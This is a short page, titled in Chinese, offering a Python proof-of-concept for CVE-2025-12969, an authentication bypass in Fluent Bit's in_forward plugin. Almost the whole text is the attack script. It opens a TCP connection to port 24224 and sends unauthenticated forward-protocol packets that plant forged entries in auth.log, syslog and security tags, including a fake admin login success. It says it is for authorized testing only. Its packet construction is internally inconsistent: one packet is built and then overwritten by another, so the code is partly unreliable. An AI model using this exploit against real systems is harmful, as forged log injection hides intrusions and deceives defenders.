CVE-2025-12969 Fluent Bit in_forward插件身份验证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-12969 PoC - Fluent Bit in_forward Authentication Bypass Note: This PoC is for educational and authorized security testing purposes only. """ import socket import struct import msgpack def send_forward_packet(host, port, tag, message): """ Send a Fluent Forward protocol packet to bypass authentication. This exploits the authentication bypass in in_forward plugin. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) # Fluent Forward Protocol message format # MessagePack packed message message_obj = { 'message': message, 'source': 'attacker', 'fake_field': 'injected_data' } packed_msg = msgpack.packb(message_obj) # Construct forward protocol packet # Chunked mode: [option][chunked payload] # For authentication bypass, we send raw message without auth packet = struct.pack('!BI', 0x46, len(packed_msg)) # 'F' + length packet += packed_msg # Send tag first tag_data = msgpack.packb(tag) packet = tag_data + struct.pack('!I', 0) + struct.pack('!I', 0) + packed_msg sock.sendall(packet) sock.close() print(f"[+] Packet sent to {host}:{port} with tag '{tag}'") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): target_host = "target-fluentbit-server" target_port = 24224 # Default in_forward port # Inject fake log entries fake_logs = [ ("auth.log", "Fake authentication success for user admin"), ("syslog", "System critical error - false positive alert"), ("security", "Compromised: attacker-controlled log entry") ] for tag, message in fake_logs: send_forward_packet(target_host, target_port, tag, message) if __name__ == "__main__": print("CVE-2025-12969 PoC - Fluent Bit in_forward Auth Bypass") print("Target: Fluent Bit with vulnerable in_forward configuration") main()